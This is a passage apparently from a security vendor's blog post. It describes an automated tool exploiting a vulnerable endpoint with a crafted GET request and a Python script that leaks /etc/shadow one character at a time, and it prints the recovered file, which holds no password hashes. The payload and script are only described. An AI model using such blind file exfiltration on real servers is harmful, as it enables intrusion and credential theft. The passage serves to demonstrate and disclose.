- The vulnerability can be reproduced by sending a GET request with a specially crafted payload to the vulnerable endpoint.
- A Python script was created to automate the process of exfiltrating the file. The script iterates through the file's content, sending a new request for each character and decoding the exit code from the server's response.
- The accumulated characters reconstruct the full
/etc/shadow
file. /etc/shadow
:
root:*:17885:0:99999:7:::
daemon:*:17885:0:99999:7:::
bin:*:17885:0:99999:7:::
sys:*:17885:0:99999:7:::
sync:*:17885:0:99999:7:::
games:*:17885:0:99999:7:::
man:*:17885:0:99999:7:::
lp:*:17885:0:99999:7:::
mail:*:17885:0:99999:7:::
news:*:17885:0:99999:7:::
uucp:*:17885:0:99999:7:::
proxy:*:17885:0:99999:7:::
www-data:*:17885:0:99999:7:::
backup:*:17885:0:99999:7:::
list:*:17885:0:99999:7:::
irc:*:17885:0:99999:7:::
gnats:*:17885:0:99999:7:::
nobody:*:17885:0:99999:7:::
_apt:*:17885:0:99999:7:::
Running this again leads to different exploitation and payloads, below a different example where the Engine is able to generate code that leak byte by byte content:
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.
Table of Contents